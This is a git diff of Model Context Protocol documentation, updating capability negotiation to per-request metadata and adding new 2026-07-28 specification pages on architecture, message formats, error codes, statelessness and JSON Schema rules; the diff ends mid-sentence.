### Client Capabilities
-Clients advertise extension support in the `initialize` request:
+Clients advertise extension support in `_meta["io.modelcontextprotocol/clientCapabilities"]` within each request:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
- "method": "initialize",
+ "method": "tools/call",
"params": {
- "protocolVersion": "2025-06-18",
- "capabilities": {
- "roots": {
- "listChanged": true
- },
- "extensions": {
- "io.modelcontextprotocol/ui": {
- "mimeTypes": ["text/html;profile=mcp-app"]
+ "name": "get_weather",
+ "arguments": {
+ "location": "New York"
+ },
+ "_meta": {
+ "io.modelcontextprotocol/protocolVersion": "2026-07-28",
+ "io.modelcontextprotocol/clientCapabilities": {
+ "extensions": {
+ "io.modelcontextprotocol/ui": {
+ "mimeTypes": ["text/html;profile=mcp-app"]
+ }
}
+ },
+ "io.modelcontextprotocol/clientInfo": {
+ "name": "ExampleClient",
+ "version": "1.0.0"
}
- },
- "clientInfo": {
- "name": "ExampleClient",
- "version": "1.0.0"
}
}
}
@@ -137,24 +140,29 @@ Clients advertise extension support in the `initialize` request:
### Server Capabilities
-Servers advertise extension support in the `initialize` response:
+Servers advertise extension support in the `server/discover` response:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
- "protocolVersion": "2025-06-18",
+ "resultType": "complete",
+ "supportedVersions": ["2026-07-28"],
"capabilities": {
"tools": {},
"extensions": {
"io.modelcontextprotocol/ui": {}
}
},
- "serverInfo": {
- "name": "ExampleServer",
- "version": "1.0.0"
- }
+ "_meta": {
+ "io.modelcontextprotocol/serverInfo": {
+ "name": "ExampleServer",
+ "version": "1.0.0"
+ }
+ },
+ "ttlMs": 3600000,
+ "cacheScope": "public"
}
}
```
diff --git a/content/mcp/extensions/tasks/overview.md b/content/mcp/extensions/tasks/overview.md
index c9d32c227..7c59f6f39 100644
--- a/content/mcp/extensions/tasks/overview.md
+++ b/content/mcp/extensions/tasks/overview.md
@@ -150,19 +150,24 @@ To consume task-augmented responses, your client must:
- Include the extension in per-request capabilities:
+ Include the extension in its per-request capabilities:
- ```json theme={null}
+ ```jsonc theme={null}
{
+ "jsonrpc": "2.0",
+ "id": 1,
+ "method": "...",
"params": {
+ // Other fields...
"_meta": {
+ // Other fields...
"io.modelcontextprotocol/clientCapabilities": {
"extensions": {
- "io.modelcontextprotocol/tasks": {}
- }
- }
- }
- }
+ "io.modelcontextprotocol/tasks": {},
+ },
+ },
+ },
+ },
}
```
@@ -196,13 +201,18 @@ To return tasks from your server:
Include the extension in your `server/discover` capabilities:
- ```json theme={null}
+ ```jsonc theme={null}
{
- "capabilities": {
- "extensions": {
- "io.modelcontextprotocol/tasks": {}
- }
- }
+ "jsonrpc": "2.0",
+ "id": 1,
+ "result": {
+ // Other fields...
+ "capabilities": {
+ "extensions": {
+ "io.modelcontextprotocol/tasks": {},
+ },
+ },
+ },
}
```
@@ -248,4 +258,4 @@ clients. Task support requires explicit opt-in from both client and server.
## Specification
-The Tasks extension is specified in the [experimental-ext-tasks repository](https://github.com/modelcontextprotocol/experimental-ext-tasks). It uses the standard MCP [extension negotiation](/extensions/overview#negotiation) mechanism: clients and servers declare support in the `extensions` field of their capabilities during initialization.
+The Tasks extension is specified in the [experimental-ext-tasks repository](https://github.com/modelcontextprotocol/experimental-ext-tasks). It uses the standard MCP [extension negotiation](/extensions/overview#negotiation) mechanism: clients declare support in the `extensions` field of the `io.modelcontextprotocol/clientCapabilities` they send in each request's `_meta`, and servers advertise theirs in the capabilities returned by [`server/discover`](/specification/draft/server/discover).
diff --git a/content/mcp/registry/faq.md b/content/mcp/registry/faq.md
index e52e4eafa..65a9460c7 100644
--- a/content/mcp/registry/faq.md
+++ b/content/mcp/registry/faq.md
@@ -37,7 +37,7 @@ Yes, custom metadata under `_meta.io.modelcontextprotocol.registry/publisher-pro
### What if I need to report a spam or malicious server?
-1. Report it as abuse to the underlying package registry (e.g. NPM, PyPi, DockerHub, etc.); and
+1. Report it as abuse to the underlying package registry (e.g. NPM, PyPI, DockerHub, etc.); and
2. Raise a GitHub issue on the registry repo with a title beginning `Abuse report: `
### What if I need to report a security vulnerability in the registry itself?
diff --git a/content/mcp/registry/remote-servers.md b/content/mcp/registry/remote-servers.md
index 411c0fbf9..7583c9ff2 100644
--- a/content/mcp/registry/remote-servers.md
+++ b/content/mcp/registry/remote-servers.md
@@ -30,7 +30,7 @@ A remote server **MUST** be publicly accessible at its specified URL.
## Transport Type
-Remote servers can use the Streamable HTTP transport (recommended) or the SSE transport. Remote servers can also support both transports simultaneously at different URLs.
+Remote servers should use the Streamable HTTP transport. The SSE transport is [deprecated](/specification/draft/deprecated), so publish an `"sse"` remote only to support existing clients. Remote servers can also support both transports simultaneously at different URLs.
Specify the transport by setting the `type` property of the `remotes` entry to either `"streamable-http"` or `"sse"`:
diff --git a/content/mcp/seps/1686-tasks.md b/content/mcp/seps/1686-tasks.md
index 686660f64..ed7964b02 100644
--- a/content/mcp/seps/1686-tasks.md
+++ b/content/mcp/seps/1686-tasks.md
@@ -31,6 +31,8 @@
## Abstract
+> This SEP is preserved as a historical record of the experimental tasks feature shipped in the `2025-11-25` specification. The code examples below are non-normative pseudocode written against the v1 SDKs. The draft specification moves tasks out of the core protocol and into the `io.modelcontextprotocol/tasks` extension ([SEP-2663](./2663-tasks-extension.md)).
+
This SEP improves support for task-based workflows in the Model Context Protocol (MCP). It introduces both the **task primitive** and the associated **task ID**, which can be used to query the state and results of a task, up to a server-defined duration after the task has completed. This primitive is designed to augment other requests (such as tool calls) to enable call-now, fetch-later execution patterns across all requests for servers that support this primitive.
## Motivation
diff --git a/content/mcp/specification/2025-11-25/basic/authorization.md b/content/mcp/specification/2025-11-25/basic/authorization.md
index e05f36559..e67aa75af 100644
--- a/content/mcp/specification/2025-11-25/basic/authorization.md
+++ b/content/mcp/specification/2025-11-25/basic/authorization.md
@@ -646,7 +646,7 @@ Authorization servers fetching metadata documents **SHOULD** consider
Client ID Metadata Documents cannot prevent `localhost` URL impersonation by themselves. An attacker can claim to be any client by:
1. Providing the legitimate client's metadata URL as their `client_id`
-2. Binding to the any `localhost` port, and providing that address as the redirect\_uri
+2. Binding to any `localhost` port, and providing that address as the redirect\_uri
3. Receiving the authorization code via the redirect when the user approves
The server will see the legitimate client's metadata document and the user will see the legitimate client's name, making attack detection difficult.
diff --git a/content/mcp/specification/2026-07-28.md b/content/mcp/specification/2026-07-28.md
new file mode 100644
index 000000000..b42c3932c
--- /dev/null
+++ b/content/mcp/specification/2026-07-28.md
@@ -0,0 +1,142 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Specification
+
+
+
+[Model Context Protocol](https://modelcontextprotocol.io) (MCP) is an open protocol that
+enables seamless integration between LLM applications and external data sources and
+tools. Whether you're building an AI-powered IDE, enhancing a chat interface, or creating
+custom AI workflows, MCP provides a standardized way to connect LLMs with the context
+they need.
+
+This specification defines the authoritative protocol requirements, based on the
+TypeScript schema in
+[schema.ts](https://github.com/modelcontextprotocol/specification/blob/main/schema/draft/schema.ts).
+
+For implementation guides and examples, visit
+[modelcontextprotocol.io](https://modelcontextprotocol.io).
+
+The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", "SHOULD", "SHOULD
+NOT", "RECOMMENDED", "NOT RECOMMENDED", "MAY", and "OPTIONAL" in this document are to be
+interpreted as described in [BCP 14](https://datatracker.ietf.org/doc/html/bcp14)
+\[[RFC2119](https://datatracker.ietf.org/doc/html/rfc2119)]
+\[[RFC8174](https://datatracker.ietf.org/doc/html/rfc8174)] when, and only when, they
+appear in all capitals, as shown here.
+
+## Overview
+
+MCP provides a standardized way for applications to:
+
+* Share contextual information with language models
+* Expose tools and capabilities to AI systems
+* Build composable integrations and workflows
+
+The protocol uses [JSON-RPC](https://www.jsonrpc.org/) 2.0 messages to establish
+communication between:
+
+* **Hosts**: LLM applications that initiate connections
+* **Clients**: Connectors within the host application
+* **Servers**: Services that provide context and capabilities
+
+MCP takes some inspiration from the
+[Language Server Protocol](https://microsoft.github.io/language-server-protocol/), which
+standardizes how to add support for programming languages across a whole ecosystem of
+development tools. In a similar way, MCP standardizes how to integrate additional context
+and tools into the ecosystem of AI applications.
+
+## Key Details
+
+### Base Protocol
+
+* [JSON-RPC](https://www.jsonrpc.org/) message format
+* Stateless, self-contained requests
+* Per-request capability negotiation
+
+### Features
+
+Servers offer any of the following features to clients:
+
+* **Resources**: Context and data, for the user or the AI model to use
+* **Prompts**: Templated messages and workflows for users
+* **Tools**: Functions for the AI model to execute
+
+Clients may offer the following features to servers:
+
+* **Elicitation**: Server-initiated requests for additional information from users
+
+### Additional Utilities
+
+* Configuration
+* Progress tracking
+* Cancellation
+* Error reporting
+
+### Extensions
+
+Beyond the core protocol, MCP defines optional [extensions](/extensions/overview)
+that add modular, specialized, or experimental functionality. Extensions
+are always opt-in and require explicit support from both client and server, negotiated
+during initialization. Notable extensions include:
+
+* **[Tasks](/extensions/tasks/overview)**: Asynchronous execution of long-running
+ operations, with polling, mid-flight input, and durable handles
+* **[Skills over MCP](/community/working-groups/skills-over-mcp)**: Rich, structured
+ instructions for agent workflows, discovered and consumed through MCP
+* **[MCP Apps](/extensions/apps/overview)**: Interactive UI elements (charts, forms,
+ video players) rendered inline within conversations
+
+## Security and Trust & Safety
+
+The Model Context Protocol enables powerful capabilities through arbitrary data access
+and code execution paths. With this power comes important security and trust
+considerations that all implementors must carefully address.
+
+### Key Principles
+
+1. **User Consent and Control**
+ * Users must explicitly consent to and understand all data access and operations
+ * Users must retain control over what data is shared and what actions are taken
+ * Implementors should provide clear UIs for reviewing and authorizing activities
+
+2. **Data Privacy**
+ * Hosts must obtain explicit user consent before exposing user data to servers
+ * Hosts must not transmit resource data elsewhere without user consent
+ * User data should be protected with appropriate access controls
+
+3. **Tool Safety**
+ * Tools represent arbitrary code execution and must be treated with appropriate
+ caution.
+ * In particular, descriptions of tool behavior such as annotations should be
+ considered untrusted, unless obtained from a trusted server.
+ * Hosts must obtain explicit user consent before invoking any tool
+ * Users should understand what each tool does before authorizing its use
+
+### Implementation Guidelines
+
+While MCP itself cannot enforce these security principles at the protocol level,
+implementors **SHOULD**:
+
+1. Build robust consent and authorization flows into their applications
+2. Provide clear documentation of security implications
+3. Implement appropriate access controls and data protections
+4. Follow security best practices in their integrations
+5. Consider privacy implications in their feature designs
+
+## Learn More
+
+Explore the detailed specification for each protocol component:
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/content/mcp/specification/2026-07-28/architecture.md b/content/mcp/specification/2026-07-28/architecture.md
new file mode 100644
index 000000000..91a28ee57
--- /dev/null
+++ b/content/mcp/specification/2026-07-28/architecture.md
@@ -0,0 +1,176 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Architecture
+
+
+
+The Model Context Protocol (MCP) follows a client-host-server architecture where each
+host can run multiple client instances. MCP is a stateless protocol: every request is
+self-contained and carries its own protocol version and capabilities.
+This architecture enables users to integrate AI capabilities across applications while
+maintaining clear security boundaries and isolating concerns. Built on JSON-RPC, MCP
+provides a protocol focused on context exchange and sampling coordination between
+clients and servers.
+
+## Core Components
+
+```mermaid theme={null}
+graph LR
+ subgraph "Application Host Process"
+ H[Host]
+ C1[Client 1]
+ C2[Client 2]
+ C3[Client 3]
+ H --> C1
+ H --> C2
+ H --> C3
+ end
+
+ subgraph "Local machine"
+ S1[Server 1 Files & Git]
+ S2[Server 2 Database]
+ R1[("Local Resource A")]
+ R2[("Local Resource B")]
+
+ C1 --> S1
+ C2 --> S2
+ S1 <--> R1
+ S2 <--> R2
+ end
+
+ subgraph "Internet"
+ S3[Server 3 External APIs]
+ R3[("Remote Resource C")]
+
+ C3 --> S3
+ S3 <--> R3
+ end
+```
+
+### Host
+
+The host process acts as the container and coordinator:
+
+* Creates and manages multiple client instances
+* Controls client connection permissions and lifecycle
+* Enforces security policies and consent requirements
+* Handles user authorization decisions
+* Coordinates AI/LLM integration and sampling
+* Manages context aggregation across clients
+
+### Clients
+
+Each client is created by the host and communicates with exactly one server:
+
+* Communicates with exactly one server
+* Attaches protocol version and capabilities to every request
+* Routes protocol messages bidirectionally
+* Manages subscriptions and notifications
+* Maintains security boundaries between servers
+
+A host application creates and manages multiple clients, with each client having a 1:1
+relationship with a particular server.
+
+### Servers
+
+Servers provide specialized context and capabilities:
+
+* Expose resources, tools and prompts via MCP primitives
+* Operate independently with focused responsibilities
+* Request client input (sampling, elicitation, roots) via `InputRequiredResult` within a reply
+* Must respect security constraints
+* Can be local processes or remote services
+
+## Design Principles
+
+MCP is built on several key design principles that inform its architecture and
+implementation:
+
+1. **Servers should be extremely easy to build**
+ * Host applications handle complex orchestration responsibilities
+ * Servers focus on specific, well-defined capabilities
+ * Simple interfaces minimize implementation overhead
+ * Clear separation enables maintainable code
+
+2. **Servers should be highly composable**
+ * Each server provides focused functionality in isolation
+ * Multiple servers can be combined seamlessly
+ * Shared protocol enables interoperability
+ * Modular design supports extensibility
+
+3. **Servers should not be able to read the whole conversation, nor "see into" other
+ servers**
+ * Servers receive only necessary contextual information
+ * Full conversation history stays with the host
+ * Each server maintains isolation
+ * Cross-server interactions are controlled by the host
+ * Host process enforces security boundaries
+
+4. **Features can be added to servers and clients progressively**
+ * Core protocol provides minimal required functionality
+ * Additional capabilities can be negotiated as needed
+ * Servers and clients evolve independently
+ * Protocol designed for future extensibility
+ * Backwards compatibility is maintained
+
+## Capability Negotiation
+
+The Model Context Protocol uses a capability-based negotiation system where clients and
+servers declare their supported features on each request. Clients include their
+capabilities in `_meta.io.modelcontextprotocol/clientCapabilities` on every request.
+Servers advertise their capabilities in response to
+[`server/discover`](/specification/2026-07-28/server/discover), which clients may call before
+any other request for up-front capability discovery.
+
+* Servers declare capabilities like tool support, resource subscriptions, and prompt
+ templates
+* Clients declare capabilities like sampling support and elicitation handling
+* Both parties must respect declared capabilities throughout the interaction
+* Additional capabilities can be negotiated through extensions to the protocol
+
+```mermaid theme={null}
+sequenceDiagram
+ participant Host
+ participant Client
+ participant Server
+
+ opt Discovery
+ Client->>Server: server/discover
+ Server-->>Client: supported versions + capabilities
+ end
+
+ loop Client Requests
+ Host->>Client: User- or model-initiated action
+ Client->>Server: Request (with _meta: version, clientCapabilities)
+ alt Server requires client input
+ Server-->>Client: InputRequiredResult (e.g. sampling/createMessage)
+ Client->>Host: Forward to AI
+ Host-->>Client: AI response
+ Client->>Server: Original request (with input)
+ end
+ Server-->>Client: Response
+ Client-->>Host: Update UI or respond to model
+ end
+
+ opt Subscriptions
+ Client->>Server: subscriptions/listen (toolsListChanged, resourceSubscriptions, …)
+ Server--)Client: notifications/subscriptions/acknowledged
+ loop Stream
+ Server--)Client: notifications/* (tagged with subscriptionId)
+ end
+ end
+```
+
+Each capability unlocks specific protocol features on a per-request basis. For example:
+
+* Implemented [server features](/specification/2026-07-28/server) must be advertised in the
+ server's capabilities
+* Receiving resource update notifications requires opening a
+ [`subscriptions/listen`](/specification/2026-07-28/basic/patterns/subscriptions) stream
+ with the desired resource URIs
+* [Tool](/specification/2026-07-28/server/tools) invocation requires the server to declare tool capabilities
+
+This capability negotiation ensures clients and servers have a clear understanding of
+supported functionality while maintaining protocol extensibility.
diff --git a/content/mcp/specification/2026-07-28/basic.md b/content/mcp/specification/2026-07-28/basic.md
new file mode 100644
index 000000000..a7ca58cca
--- /dev/null
+++ b/content/mcp/specification/2026-07-28/basic.md
@@ -0,0 +1,501 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Overview
+
+
+
+The Model Context Protocol consists of several key components that work together:
+
+* **Base Protocol**: Core JSON-RPC message types
+* **Versioning and Compatibility**: Protocol version negotiation, extension negotiation, and interoperability with earlier protocol revisions
+* **Message Patterns**: Messaging patterns supported by the core protocol including request and response, multi round-trip requests (MRTR), and subscribe and notify
+* **Authorization**: Authentication and authorization framework for HTTP-based transports
+* **Server Features**: Resources, prompts, and tools exposed by servers
+* **Client Features**: Elicitation, sampling and root directory lists provided by clients
+* **Utilities**: Cross-cutting concerns like logging and argument completion
+
+All implementations **MUST** support the base protocol, versioning,
+and the message patterns. Other components **MAY** be implemented based on the specific needs of the
+application.
+
+These protocol layers establish clear separation of concerns while enabling rich
+interactions between clients and servers. The modular design allows implementations to
+support exactly the features they need.
+
+## Messages
+
+All messages between MCP clients and servers **MUST** follow the
+[JSON-RPC 2.0](https://www.jsonrpc.org/specification) specification. The protocol defines
+these types of messages:
+
+### Requests
+
+[Requests](/specification/2026-07-28/schema#jsonrpcrequest) are sent from the client to the server, to initiate an operation.
+
+```typescript theme={null}
+{
+ jsonrpc: "2.0";
+ id: string | number;
+ method: string;
+ params?: {
+ [key: string]: unknown;
+ };
+}
+```
+
+* Requests **MUST** include a string or integer ID.
+* Unlike base JSON-RPC, the ID **MUST NOT** be `null`.
+* The request ID **MUST NOT** match the ID of any other request the sender has issued and
+ not yet received a response for.
+
+### Responses
+
+Responses are sent in reply to requests, containing either the result or error of the operation.
+
+#### Result Responses
+
+[Result responses](/specification/2026-07-28/schema#jsonrpcresultresponse) are sent when the operation completes successfully.
+
+```typescript theme={null}
+{
+ jsonrpc: "2.0";
+ id: string | number;
+ result: {
+ resultType: string;
+ [key: string]: unknown;
+ };
+}
+```
+
+* Result responses **MUST** include the same ID as the request they correspond to.
+* Result responses **MUST** include a `result` field.
+* The `result` **MAY** follow any JSON object structure.
+* The `result` **MUST** include a `resultType` field to indicate the type of the result.
+
+##### ResultType
+
+The `resultType` field in a result indicates the type of the result being returned. MCP supports polymorphic result types,
+allowing servers to return different structures based on the outcome of the request. The `resultType` field is a string that clients
+can use to determine how to parse and handle the `result` object.
+
+* A `resultType` of `"complete"` indicates the request completed successfully and the result contains the final content.
+* A `resultType` of `"input_required"` indicates the request is incomplete and more information is needed to process the request. The result contains an [`InputRequiredResult`](/specification/2026-07-28/basic/patterns/mrtr#inputrequiredresult) object with additional information needed.
+* Extensions **MAY** add additional `ResultType` values. The set of supported `ResultType` values **MUST** be created from the set defined in the core protocol and include any additional values of supported extensions that are advertised via capabilities.
+* A `resultType` of any value unrecognized by the client **MUST** be considered invalid.
+* For backward compatibility with servers implementing earlier protocol versions, which do not include `resultType`, clients **MUST** treat an absent `resultType` as `"complete"`.
+
+#### Error Responses
+
+[Error responses](/specification/2026-07-28/schema#jsonrpcerrorresponse) are sent when the operation fails or encounters an error.
+
+```typescript theme={null}
+{
+ jsonrpc: "2.0";
+ id?: string | number;
+ error: {
+ code: number;
+ message: string;
+ data?: unknown;
+ }
+}
+```
+
+* Error responses **MUST** include the same ID as the request they correspond to (except in error cases where the ID could not be read due a malformed request).
+* Error responses **MUST** include an `error` field with a `code` and `message`.
+* Error codes **MUST** be integers.
+* Error responses **MAY** include a `data` member with additional information of any type, such
+ as nested errors.
+
+#### Error Codes
+
+MCP uses the standard JSON-RPC 2.0 error codes (`-32700`, `-32600` to `-32603`)
+for general protocol failures.
+
+JSON-RPC 2.0 reserves the range `-32000` to `-32099` for implementation-defined
+server errors. MCP partitions this range as follows:
+
+* **`-32000` to `-32019` — legacy.** Codes in this sub-range were allocated by
+ implementations before this policy was introduced. New codes **MUST NOT** be
+ allocated in this sub-range, and new implementations **SHOULD NOT** use codes
+ from this sub-range at all. Apart from `-32002` (see below), receivers
+ **MUST NOT** assume any specific meaning for these codes.
+* **`-32020` to `-32099` — reserved for the MCP specification.** Error codes
+ in this sub-range are defined exclusively by the MCP specification and
+ recorded in the [schema](/specification/2026-07-28/schema). Implementations
+ **MUST NOT** emit any code from this sub-range that is not defined by this
+ specification and **MUST** use defined codes only with their specified
+ meanings.
+
+MCP defines the following error codes:
+
+| Code | Name |
+| -------- | ---------------------------------------------------------------------------------------------------------- |
+| `-32020` | [`HeaderMismatch`](/specification/2026-07-28/schema#headermismatcherror) |
+| `-32021` | [`MissingRequiredClientCapability`](/specification/2026-07-28/schema#missingrequiredclientcapabilityerror) |
+| `-32022` | [`UnsupportedProtocolVersion`](/specification/2026-07-28/schema#unsupportedprotocolversionerror) |
+
+Codes defined by earlier protocol versions remain reserved and will not be
+reused. Implementations of this protocol version **MUST NOT** emit these codes:
+
+* `-32002` — resource not found (2025-11-25 and earlier; replaced by `-32602`).
+ Clients [**SHOULD** still
+ accept `-32002`](/specification/2026-07-28/server/resources#error-handling) from
+ servers implementing earlier versions.
+* `-32042` — URL elicitation required (2025-11-25 only).
+
+Errors that are purely local to an implementation (for example, a request
+timeout raised inside an SDK) are not currently assigned codes by this
+specification. Implementations surfacing local errors in JSON-RPC-shaped
+structures should ensure they cannot be mistaken for errors received from the
+peer. Future versions of the specification may define standard codes for
+common local error conditions in the reserved sub-range.
+
+New error codes for purposes not defined by this specification **SHOULD** be
+allocated outside the JSON-RPC reserved range (`-32768` to `-32000`); the
+remainder of the integer space is available for application-defined errors.
+
+### Notifications
+
+[Notifications](/specification/2026-07-28/schema#jsonrpcnotification) are sent from the client to the server or vice versa, as a one-way message.
+The receiver **MUST NOT** send a response.
+
+```typescript theme={null}
+{
+ jsonrpc: "2.0";
+ method: string;
+ params?: {
+ [key: string]: unknown;
+ };
+}
+```
+
+* Notifications **MUST NOT** include an ID.
+
+### Message Patterns
+
+The Model Context Protocol (MCP) supports several [Message Patterns](/specification/2026-07-28/basic/patterns) that define how clients and servers interact:
+
+1. **[Request and Response](/specification/2026-07-28/basic/patterns#request-and-response)**: A client sends a request to the server, and the server responds with a result or error.
+2. **[Multi Round-Trip Requests (MRTR)](/specification/2026-07-28/basic/patterns#multi-round-trip-requests)**: A server requires additional client input (sampling, elicitation, or roots) to complete a request.
+3. **[Subscribe and Notify](/specification/2026-07-28/basic/patterns#subscribe-and-notify)**: A client subscribes to a stream of notifications from the server, which are sent as they occur.
+
+## Statelessness
+
+The Model Context Protocol (MCP) is a **stateless protocol**: all the
+information needed to process a request is contained in the request itself.
+A server processes each request independently; no state should be inferred
+from previous requests, even those on the same connection or stream.
+
+Specifically:
+
+* Servers **MUST NOT** rely on prior requests over the same connection to
+ establish context (e.g., capabilities, protocol version, client identity).
+ Every request supplies this metadata in its [`_meta`](#_meta) field.
+* Servers **SHOULD** be prepared to handle requests associated with multiple
+ tasks, threads, or conversations.
+* Servers **SHOULD NOT** require that a client reuse the same connection or process to
+ perform related operations.
+* Clients **SHOULD NOT** use an individual task, thread, or conversation as the
+ lifetime boundary for the stdio process.
+* State that needs to span multiple requests (e.g., long-running tasks,
+ application-level handles) **MUST** be referenced by an explicit identifier
+ the client passes on each request.
+
+
+ This implies that an open connection, such as a STDIO process, is not a
+ conversation or session: clients may interleave unrelated requests on the same
+ transport, and a server must not treat connection or process identity as a
+ proxy for conversation or session continuity.
+
+
+Long-lived requests like
+[`subscriptions/listen`](/specification/2026-07-28/basic/patterns/subscriptions)
+remain request/response; the response is just an open stream of notifications.
+Their state is scoped to the request itself, not to the connection underneath.
+
+
+ For a walkthrough of how the per-request model maps to SDK code, see the
+ [Architecture guide](/docs/draft/learn/architecture#example).
+
+
+## Auth
+
+MCP provides an [Authorization](/specification/2026-07-28/basic/authorization) framework for use with HTTP.
+Implementations using an HTTP-based transport **SHOULD** conform to this specification,
+whereas implementations using STDIO transport **SHOULD NOT** follow this specification,
+and instead retrieve credentials from the environment.
+
+Additionally, clients and servers **MAY** negotiate their own custom authentication and
+authorization strategies.
+
+For further discussions and contributions to the evolution of MCP's auth mechanisms, join
+us in
+[GitHub Discussions](https://github.com/modelcontextprotocol/specification/discussions)
+to help shape the future of the protocol!
+
+## Schema
+
+The full specification of the protocol is defined as a
+[TypeScript schema](https://github.com/modelcontextprotocol/specification/blob/main/schema/draft/schema.ts).
+This is the source of truth for all protocol messages and structures.
+
+There is also a
+[JSON Schema](https://github.com/modelcontextprotocol/specification/blob/main/schema/draft/schema.json),
+which is automatically generated from the TypeScript source of truth, for use with
+various automated tooling.
+
+## JSON Schema Usage
+
+The Model Context Protocol uses JSON Schema for validation throughout the protocol. This section clarifies how JSON Schema should be used within MCP messages.
+
+### Schema Dialect
+
+MCP supports JSON Schema with the following rules:
+
+1. **Default dialect**: When a schema does not include a `$schema` field, it defaults to [JSON Schema 2020-12](https://json-schema.org/draft/2020-12/schema)
+2. **Explicit dialect**: Schemas MAY include a `$schema` field to specify a different dialect
+3. **Supported dialects**: Implementations MUST support at least 2020-12 and SHOULD document which additional dialects they support
+4. **Recommendation**: Implementors are RECOMMENDED to use JSON Schema 2020-12.
+
+### Example Usage
+
+#### Default dialect (2020-12):
+
+```json theme={null}
+{
+ "type": "object",
+ "properties": {
+ "name": { "type": "string" },
+ "age": { "type": "integer", "minimum": 0 }
+ },
+ "required": ["name"]
+}
+```
+
+#### Explicit dialect (draft-07):
+
+```json theme={null}
+{
+ "$schema": "http://json-schema.org/draft-07/schema#",
+ "type": "object",
+ "properties": {
+ "name": { "type": "string" },
+ "age": { "type": "integer", "minimum": 0 }
+ },
+ "required": ["name"]
+}
+```
+
+### Implementation Requirements
+
+* Clients and servers **MUST** support JSON Schema 2020-12 for schemas without an explicit `$schema` field
+* Clients and servers **MUST** validate schemas according to their declared or default dialect. They **MUST** handle unsupported dialects gracefully by returning an appropriate error indicating the dialect is not supported.
+* Clients and servers **SHOULD** document which schema dialects they support
+
+### Schema Validation
+
+* Schemas **MUST** be valid according to their declared or default dialect
+
+### `$ref` Resolution
+
+JSON Schema 2020-12 permits `$ref` to point at an absolute URI. Implementations **MUST NOT**
+automatically dereference `$ref` values that resolve to a network URI.
+
+Implementations **MAY** offer an opt-in mode that fetches non-local `$ref`s but it
+**MUST** be disabled by default and **SHOULD** enforce an allowlist of hosts or at
+minimum reject loopback, link-local, and private network addresses, apply timeouts and
+size limits, and log dereferenced URIs.
+
+Schemas that fail to validate due to an unresolved external `$ref` **SHOULD** be rejected
+rather than silently treated as permissive.
+
+### Composition-Keyword Resource Use
+
+Composition keywords (`anyOf`, `oneOf`, `allOf`, `if`/`then`/`else`) and `$defs` enable
+expressive schemas but can be expensive to validate. Implementations **SHOULD** apply
+reasonable bounds, such as a maximum schema depth, a cap on the total number of subschemas,
+or a per-validation time budget, to prevent a malicious schema from acting as a Denial-of-Service
+vector against the validator.
+
+## General fields
+
+### `_meta`
+
+The `_meta` property/parameter is used by MCP to allow clients and servers
+to attach additional metadata to their interactions.
+
+Certain key names are reserved by MCP for protocol-level metadata, as specified below;
+implementations **MUST NOT** make assumptions about values at these keys.
+
+**Key name format:** valid `_meta` key names have two segments: an optional **prefix**, and a **name**.
+
+**Prefix:**
+
+* If specified, MUST be a series of labels separated by dots (`.`), followed by a slash (`/`).
+ * Labels MUST start with a letter and end with a letter or digit; interior characters can be letters, digits, or hyphens (`-`).
+ * Implementations SHOULD use reverse DNS notation (e.g., `com.example/` rather than `example.com/`).
+* Any prefix where the second label is `modelcontextprotocol` or `mcp` is **reserved** for MCP use.
+ * For example: `io.modelcontextprotocol/`, `dev.mcp/`, `org.modelcontextprotocol.api/`, and `com.mcp.tools/` are all reserved.
+ * However, `com.example.mcp/` is NOT reserved, as the second label is `example`.
+
+**Name:**
+
+* Unless empty, MUST begin and end with an alphanumeric character (`[a-z0-9A-Z]`).
+* MAY contain hyphens (`-`), underscores (`_`), dots (`.`), and alphanumerics in between.
+
+**Reserved keys:**
+
+The following `_meta` keys are reserved by this specification:
+
+| Key | Description | Defined in |
+| -------------------------------------------- | ----------------------------------------------------------- | ----------------------------------------------------------------------- |
+| `progressToken` | Opts the request into progress notifications | [Progress](/specification/2026-07-28/basic/patterns/progress) |
+| `io.modelcontextprotocol/protocolVersion` | Protocol version for a request | Per-request protocol fields (below) |
+| `io.modelcontextprotocol/clientInfo` | Client name and version | Per-request protocol fields (below) |
+| `io.modelcontextprotocol/clientCapabilities` | Client capabilities relevant to a request | Per-request protocol fields (below) |
+| `io.modelcontextprotocol/logLevel` | Minimum log level the server should emit for a request | [Logging](/specification/2026-07-28/server/utilities/logging) |
+| `io.modelcontextprotocol/subscriptionId` | Correlates a notification with its originating subscription | [Subscriptions](/specification/2026-07-28/basic/patterns/subscriptions) |
+| `traceparent`, `tracestate`, `baggage` | OpenTelemetry trace context propagation | OpenTelemetry trace context (below) |
+
+Official [extensions](/specification/2026-07-28/basic/versioning#extension-negotiation)
+define additional `_meta` keys under the `io.modelcontextprotocol/` prefix, and
+third-party extensions use their own vendor prefix.
+In both cases the keys are specified in the extension's documentation.
+
+**Per-request protocol fields:**
+
+Client requests carry the following `io.modelcontextprotocol/*` fields in `_meta`;
+fields marked as required **MUST** be included on every request. Servers use these
+to identify the protocol version and capabilities in use without relying on any
+prior connection state. See
+[Versioning and Compatibility][lifecycle] for version negotiation rules.
+
+| Key | Type | Required | Description |
+| -------------------------------------------- | -------------------- | -------- | --------------------------------------------------------- |
+| `io.modelcontextprotocol/protocolVersion` | `string` | Yes | Protocol version for this request (e.g., `"2026-07-28"`) |
+| `io.modelcontextprotocol/clientInfo` | `Implementation` | No | Client name and version |
+| `io.modelcontextprotocol/clientCapabilities` | `ClientCapabilities` | Yes | Client capabilities relevant to this request |
+| `io.modelcontextprotocol/logLevel` | `LoggingLevel` | No | Minimum log level the server should emit for this request |
+
+A request missing any required field is malformed; the server **MUST** reject it with
+JSON-RPC error code `-32602` (Invalid params). On HTTP, the response status **MUST** be
+`400 Bad Request`.
+
+Clients **SHOULD** include `io.modelcontextprotocol/clientInfo` on every request
+unless specifically configured not to do so.
+
+A server **MUST NOT** rely on capabilities the client has not declared. If
+processing a request requires a capability the client did not include in
+`io.modelcontextprotocol/clientCapabilities`, the server **MUST** return a
